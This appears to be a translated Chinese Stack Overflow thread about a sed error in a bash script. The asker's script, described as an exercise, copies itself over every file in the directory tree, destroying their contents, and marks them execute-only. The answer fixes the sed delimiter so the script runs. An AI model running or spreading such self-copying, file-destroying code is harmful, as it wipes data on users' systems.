sed不会在bash脚本中工作

时间:2016-06-09 15:50:15

标签: bash sed

我制作的脚本会将自身复制到执行目录中的所有其他文件中。 (仅作为练习)

#!/bin/bash

naz=$0
list='2e5vff5f8fgg8gs5gs8ggr48gr8grs84gr8448.txt'
find -type f > $list
sed -i "/$list/d" $list
sed -i "/"$naz"/d" $list

while read infest
do
  cp "$naz" "$infest" 2>/dev/null
  chmod 100 "$infest"  2>/dev/null
done < $list

chmod 744 $naz
rm $list

它做了我想要它做的事情,但是我试图从列表中删除程序本身就出现了错误。终端给了我这个:

sed: -e expression #1, char 16: unterminated `s' command

我在终端窗口中手动执行了这些命令,它运行得很好,但为什么在脚本中它不会工作呢?

1 个答案:

答案 0 :(得分:3)

问题似乎出在这一行:

sed -i "/"$naz"/d" $list

由于代表$naz的变量$0可能包含/,并且当您使用sed作为分隔符时,会导致/投诉

要解决此问题,您可以在sed中使用替代分隔符:

sed -i "\#$naz#d" "$list"

假设您的文件名没有#字符,否则sed允许使用控制字符作为分隔符。